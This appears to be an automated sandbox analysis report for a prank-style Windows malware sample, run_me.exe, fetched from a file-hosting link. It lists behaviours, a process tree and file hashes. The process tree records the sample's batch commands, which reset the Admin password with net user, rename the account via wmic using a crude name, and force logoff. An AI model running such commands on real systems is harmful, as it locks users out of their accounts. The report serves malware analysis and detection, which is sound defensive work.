Analysis

  • user interaction
    yes
  • max time kernel
    900s
  • max time network
    427s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    01/07/2026, 02:10

General

  • Target
    http://gofile.io/d/XjEDQC
  • Sample260701-cl2vsaet51

Malware Config

Signatures

  • Downloads MZ/PE file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Drops file in Windows directory 1 IoCs
  • Subvert Trust Controls: Mark-of-the-Web Bypass 1 TTPs 1 IoCs

    When files are downloaded from the Internet, they are tagged with a hidden NTFS Alternate Data Stream (ADS) named Zone.Identifier with a specific value known as the MOTW.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 17 IoCs
  • Modifies registry class 1 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious behavior: LoadsDriver 64 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 42 IoCs
  • Suspicious use of SendNotifyMessage 16 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument http://gofile.io/d/XjEDQC
    1⤵
    • Drops file in Windows directory
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2480
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffeea07c728,0x7ffeea07c734,0x7ffeea07c740
      2⤵
        PID:1744
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1612,i,3927292144880927024,1346601818226247361,262144 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1872 /prefetch:2
        2⤵
          PID:4052
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1448,i,8189238042092668834,4051827653085314649,524288 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2272 /prefetch:11
          2⤵
          • Downloads MZ/PE file
          • System Time Discovery
          PID:5072
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2352,i,2502789004994469243,555389985783768957,524288 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2552 /prefetch:13
          2⤵
            PID:3232
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3100,i,7371946978515129562,18444133410343396399,2097152 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3120 /prefetch:1
            2⤵
              PID:3264
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3116,i,13191711974841132748,15981312506493721042,2097152 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3172 /prefetch:1
              2⤵
                PID:4852
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4332,i,446669272247395511,11899181796296815069,2097152 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4356 /prefetch:9
                2⤵
                  PID:2356
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4304,i,9852729625093821747,12307641425370263024,2097152 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4728 /prefetch:1
                  2⤵
                    PID:3644
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5264,i,201312339991215062,17467337241137348071,524288 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5360 /prefetch:14
                    2⤵
                      PID:1520
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5688,i,9431582268521874240,13770254993509624560,2097152 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5668 /prefetch:1
                      2⤵
                        PID:564
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5628,i,15286024662212712674,8572816532108501730,524288 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5776 /prefetch:14
                        2⤵
                          PID:3364
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5656,i,1377304888979184670,17012191105553679978,524288 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5832 /prefetch:14
                          2⤵
                            PID:1656
                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5772,i,11930873143705218016,14968870002727020577,524288 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5876 /prefetch:14
                            2⤵
                              PID:1172
                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=4408,i,14392863603138408476,4462147589913458130,2097152 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4300 /prefetch:1
                              2⤵
                                PID:3456
                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5784,i,10791840009289319263,9490916264134951553,524288 --field-trial-handle=1876,i,6248294597489528689,6107842723424501833,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5824 /prefetch:14
                                2⤵
                                • Subvert Trust Controls: Mark-of-the-Web Bypass
                                • NTFS ADS
                                PID:1252
                              • C:\Users\Admin\Downloads\run_me.exe
                                "C:\Users\Admin\Downloads\run_me.exe"
                                2⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:4860
                                • C:\Windows\system32\cmd.exe
                                  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\E441.tmp\E451.tmp\E452.bat C:\Users\Admin\Downloads\run_me.exe"
                                  3⤵
                                  • Suspicious use of WriteProcessMemory
                                  PID:4744
                                  • C:\Windows\system32\net.exe
                                    net user Admin FeetAreMyLife
                                    4⤵
                                    • Suspicious use of WriteProcessMemory
                                    PID:976
                                    • C:\Windows\system32\net1.exe
                                      C:\Windows\system32\net1 user Admin FeetAreMyLife
                                      5⤵
                                        PID:3836
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      wmic useraccount where name=???Admin??? rename ???FeetSlut???
                                      4⤵
                                        PID:3692
                                      • C:\Windows\system32\logoff.exe
                                        logoff
                                        4⤵
                                          PID:2900
                                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                    1⤵
                                      PID:1656
                                    • C:\Windows\system32\svchost.exe
                                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                      1⤵
                                        PID:2124
                                      • C:\Windows\system32\LogonUI.exe
                                        "LogonUI.exe" /flags:0x4 /state0:0xa39ec055 /state1:0x41c64e6d
                                        1⤵
                                        • Modifies data under HKEY_USERS
                                        • Suspicious use of SetWindowsHookEx
                                        PID:1492

                                      Network

                                            MITRE ATT&CK Enterprise v16

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                                            Downloads

                                            BookmarkMergedSurfaceOrdering

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                            • Size 6B
                                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                            • MD5 SHA1 SHA512

                                            BrowsingTopicsState

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                                            • Size 414B
                                            • SHA256 541f3128bd2c8c288352dad34856b31f4eaf48208c6900b88a8a00207dee79ed
                                            • MD5 SHA1 SHA512 TLSH

                                            the-real-index

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                            • Size 720B
                                            • SHA256 f952d879626033efb13f899b6f8c8cb384612fddf47086bc9fc5688b68f431ab
                                            • MD5 SHA1 SHA512 TLSH

                                            b8e59bba-3926-4290-a650-b040d56e2020.tmp

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\b8e59bba-3926-4290-a650-b040d56e2020.tmp
                                            • Size 2B
                                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                            • MD5 SHA1 SHA512

                                            Preferences

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                            • Size 12KB
                                            • SHA256 17f747f966f0cd2f1741e64af70e0be880407b400a218b79ca1df6ed6d00c215
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            Preferences

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                            • Size 12KB
                                            • SHA256 7f50ad817bcf43354736f633dc63d385d6c9a4d4ecfebfbad25de81e78525cbc
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            Secure Preferences

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                            • Size 17KB
                                            • SHA256 a487a90aa586ffb722bc45a76d1e954f5a6f5ff4286551d2445a524e0f1cc25d
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            the-real-index

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                            • Size 120B
                                            • SHA256 9a11b4d48089dcac7b352fb2d7ef6c24456b0f2f9956bfae8ae6d361ee8b924f
                                            • MD5 SHA1 SHA512 TLSH

                                            the-real-index~RFe585c63.TMP

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe585c63.TMP
                                            • Size 96B
                                            • SHA256 0ca525b4ceb2946db7261babeca11f9f070ba7f6aeb70fbdd04e02d9f1b2e159
                                            • MD5 SHA1 SHA512 TLSH

                                            Local State

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                            • Size 116KB
                                            • SHA256 7489ad2e65a622f92141a88b0e3125cffff7d7aa8684d6352c2f396b2260eadf
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            Local State

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                            • Size 115KB
                                            • SHA256 c25be6fff0fe16767d8cae68b328c4b660f393c495cdb1511221d2b65ef0c54b
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            Local State

                                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                            • Size 116KB
                                            • SHA256 7d21279ec8e301049aa9c1f6f6083393ca81c374ef96f39f377d2c17d6edc223
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            E452.bat

                                            • Path C:\Users\Admin\AppData\Local\Temp\E441.tmp\E451.tmp\E452.bat
                                            • Size 131B
                                            • SHA256 f807dc152a1ee0fa1598a54e15a145758b8a02a32daac03e89813b1667e26fee
                                            • MD5 SHA1 SHA512 TLSH

                                            Unconfirmed 651960.crdownload

                                            • Path C:\Users\Admin\Downloads\Unconfirmed 651960.crdownload
                                            • Size 290KB
                                            • SHA256 470688413d7e577376d733a2f6684abb65d226656e0611b498bcbd0d9dc5c15f
                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                            run_me.exe:Zone.Identifier

                                            • Path C:\Users\Admin\Downloads\run_me.exe:Zone.Identifier
                                            • Size 153B
                                            • SHA256 ef3b273a300c77b75e10a8a916062d58e488cec47a91ba6efbd50f58437e1d6f
                                            • MD5 SHA1 SHA512 TLSH